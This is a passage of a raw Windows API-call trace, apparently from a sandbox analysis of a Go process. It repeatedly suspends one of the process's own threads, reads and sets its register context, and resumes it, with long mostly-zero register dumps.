[150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0111.002] ResumeThread (hThread=0x130) returned 0x1
[0111.002] CloseHandle (hObject=0x130) returned 1
[0111.002] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.107] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.142] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.236] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.340] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0111.340] SuspendThread (hThread=0x130) returned 0x0
[0111.340] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147978, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12c84e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0111.409] ResumeThread (hThread=0x130) returned 0x1
[0111.409] CloseHandle (hObject=0x130) returned 1
[0111.409] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.534] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.569] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.646] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.720] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0111.720] SuspendThread (hThread=0x130) returned 0x0
[0111.720] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147790, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15af81f, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0111.788] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10297, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147788, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0111.855] ResumeThread (hThread=0x130) returned 0x1
[0111.856] CloseHandle (hObject=0x130) returned 1
[0111.856] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.889] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.923] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0111.999] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0112.077] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0112.077] SuspendThread (hThread=0x130) returned 0x0
[0112.077] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a88, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x131bbc0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0112.226] ResumeThread (hThread=0x130) returned 0x1
[0112.226] CloseHandle (hObject=0x130) returned 1
[0112.226] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0112.260] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0112.296] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0112.376] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0112.451] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0112.451] SuspendThread (hThread=0x130) returned 0x0
[0112.451] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a78, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1306e80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, 